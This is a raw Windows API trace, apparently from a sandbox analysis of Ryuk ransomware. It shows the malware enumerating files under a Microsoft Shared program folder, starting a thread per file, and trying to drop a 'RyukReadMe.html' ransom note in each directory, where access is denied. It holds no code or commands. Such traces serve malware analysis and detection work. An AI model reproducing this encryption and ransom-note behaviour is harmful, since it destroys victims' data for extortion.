	[0167.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x918
	[0167.679] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.679] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x8e, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1
	[0167.679] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x91c
	[0167.682] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.682] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x8e, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1
	[0167.682] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920
	[0167.685] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.686] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x8e, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1
	[0167.686] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924
	[0167.688] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.688] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x8e, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0
	[0167.689] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0167.691] SetLastError (dwErrCode=0x0) 
	[0167.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.702] GetLastError () returned 0x5
	[0167.702] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0167.702] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.703] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x84, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1
	[0167.703] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x84, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0
	[0167.703] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0167.703] SetLastError (dwErrCode=0x0) 
	[0167.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.703] GetLastError () returned 0x5
	[0167.703] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.704] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.704] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0
	[0167.704] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0167.704] SetLastError (dwErrCode=0x0) 
	[0167.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.704] GetLastError () returned 0x5
	[0167.704] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0167.705] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.705] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1
	[0167.705] SetLastError (dwErrCode=0x0) 
	[0167.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.705] GetLastError () returned 0x5
	[0167.705] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0167.705] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.705] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0167.706] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.706] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x7c, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1
	[0167.706] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x7c, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1
	[0167.706] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x7c, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0
	[0167.707] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0167.707] SetLastError (dwErrCode=0x0) 
	[0167.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.707] GetLastError () returned 0x5
	[0167.707] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0167.707] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.707] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1
	[0167.707] SetLastError (dwErrCode=0x0) 
	[0167.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.708] GetLastError () returned 0x5
	[0167.708] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0167.708] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.708] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0167.709] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.709] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x7c, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1
	[0167.709] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x7c, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0
	[0167.709] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0167.709] SetLastError (dwErrCode=0x0) 
	[0167.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.709] GetLastError () returned 0x5
	[0167.710] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0167.710] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.710] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1
	[0167.710] SetLastError (dwErrCode=0x0) 
	[0167.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.710] GetLastError () returned 0x5
	[0167.710] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0167.711] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.711] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0167.711] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.711] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0167.712] SetLastError (dwErrCode=0x0) 
	[0167.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.712] GetLastError () returned 0x5
	[0167.712] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.712] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.712] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x96, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0167.717] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x96, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.717] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x96, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1
	[0167.717] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908
	[0167.720] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.721] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x96, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1
	[0167.721] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x928
	[0167.723] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.724] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x96, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1
	[0167.724] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x92c
	[0167.726] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.726] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x96, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1
	[0167.726] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x930
	[0167.729] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
